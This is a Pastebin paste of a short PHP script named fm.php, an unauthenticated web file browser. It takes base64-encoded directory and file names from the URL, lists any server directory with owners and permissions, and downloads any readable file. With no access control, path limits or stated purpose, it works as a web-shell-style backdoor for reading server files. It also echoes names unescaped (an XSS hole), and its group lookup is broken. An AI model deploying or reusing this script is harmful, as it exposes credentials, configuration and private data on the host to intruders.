Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function b64get($name) {
- return isset($_GET[$name]) ? base64_decode($_GET[$name]) : null;
- }
- function fowner($filename) {
- return posix_getpwuid(fileowner($filename))['name'];
- }
- function fgroup($filename) {
- return posix_getpwuid(fileowner($filegroup))['name'];
- }
- function faccess($filename) {
- return substr(sprintf('%o', fileperms($filename)), -4);
- }
- $dir = b64get('d');
- if( is_null($dir) )
- $dir = '.';
- $file = b64get('f');
- $basef = "fm.php";
- $path = $dir .'/' . $file;
- if( isset($_GET['dl']) ) {
- if ( file_exists($path) ) {
- if( !is_readable($path) )
- die('not readable');
- header('Content-Description: File Transfer');
- header('Content-Type: application/octet-stream');
- header('Content-Disposition: attachment; filename="'.basename($file).'"');
- header('Expires: 0');
- header('Cache-Control: must-revalidate');
- header('Pragma: public');
- header('Content-Length: ' . filesize($path));
- readfile($path);
- exit;
- } else
- die('file not exists');
- }
- $o = opendir($dir);
- $dirs = [];
- $files = [];
- while( ($f = readdir($o)) != false ) {
- $p = $dir .'/' . $f;
- if( is_dir($p) )
- $dirs[] = $f;
- else if( is_file($p) )
- $files[] = $f;
- }
- ?>
- Directory: <b><?php echo $dir; ?></b><br>
- <table width="100%" border="1">
- <tr>
- <th>Name</th>
- <th>O - G - A</th>
- <th>Size</th>
- <th>Download</th>
- </tr>
- <?php
- foreach ($dirs as $d) {
- $p = $dir .'/' . $d;
- ?>
- <tr>
- <td>
- <a href="<?php echo $basef .'?d='. base64_encode($p); ?>"><?php echo $d; ?></a>
- </td>
- <td>
- <?php
- echo fowner($p) . ' - ';
- echo fgroup($p) . ' - ';
- echo faccess($p);
- ?>
- </td>
- <td colspan="2"></td>
- </tr>
- <?php
- }
- foreach ($files as $f) {
- $p = $dir .'/' . $f;
- ?>
- <tr>
- <td><?php echo $f; ?></td>
- <td>
- <?php
- echo fowner($p) . ' - ';
- echo fgroup($p) . ' - ';
- echo faccess($p);
- ?>
- </td>
- <td><?php echo filesize($p) ?></td>
- <td>
- <a href="<?php echo $basef . '?dl&d=' . base64_encode($dir) . '&f=' . base64_encode($f); ?>" target="_blank">Download</a>
- </td>
- </tr>
- <?php
- }
- ?>
- </table>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement